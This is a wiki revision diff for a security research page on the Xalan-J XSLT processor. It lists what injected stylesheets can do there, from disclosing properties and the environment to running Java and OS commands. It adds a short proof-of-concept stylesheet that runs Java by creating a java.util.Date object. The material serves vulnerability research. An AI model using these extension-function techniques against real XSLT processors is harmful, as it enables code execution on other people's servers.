Changes for page Engine_XalanJ

Last modified by Nicolas Gregoire on 2012/01/31 17:35
From version Icon 38.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:28
Change comment: There is no comment for this version
To version Icon 45.1 Icon
edited by Nicolas Gregoire
on 2012/01/11 23:38
Change comment: Upload new attachment xalanj-java-date.xsl

Summary

Details

Icon Page properties
Content
... ... @@ -22,7 +22,7 @@
22 22  * Java properties disclosure
23 23  * Java environment disclosure
24 24  * Java code execution
25 -* Arbitrary command execution
25 +* OS command execution
26 26  * File creation
27 27  * JDBC connectivity
28 28  
... ... @@ -33,10 +33,9 @@
33 33  |=Namespace|=Function|=PoC|=Sample output
34 34  |http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]]
35 35  
36 -
37 37  == Java environment disclosure ==
38 38  
39 -The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (packages, paths, versions, ...).
38 +The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (including available packages, paths, versions, ...).
40 40  
41 41  |=Namespace|=Extension function|=PoC|=Sample output
42 42  |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]]
... ... @@ -45,12 +45,11 @@
45 45  
46 46  The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution.
47 47  
48 -
49 49  |=Namespace|=Extension function|=PoC|=Sample output
50 50  |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date:
51 51  Wed Jan 11 22:45:07 CET 2012
52 52  
53 -== Execution of external commands ==
51 +== OS command execution ==
54 54  
55 55  The following code will execute the command "touch /tmp/hello" :
56 56  
Icon xalanj-java-date.xsl
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +409 bytes
Content
... ... @@ -1,0 +1,11 @@
1 +<xsl:stylesheet version="1.0"
2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 + xmlns:date="http://xml.apache.org/xalan/java/java.util.Date"
4 + exclude-result-prefixes="date">
5 + <xsl:output method="text"/>
6 + <xsl:template match="/">
7 + <xsl:variable name="dateObject" select="date:new()"/>
8 + <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/>
9 + </xsl:template>
10 +</xsl:stylesheet>
11 +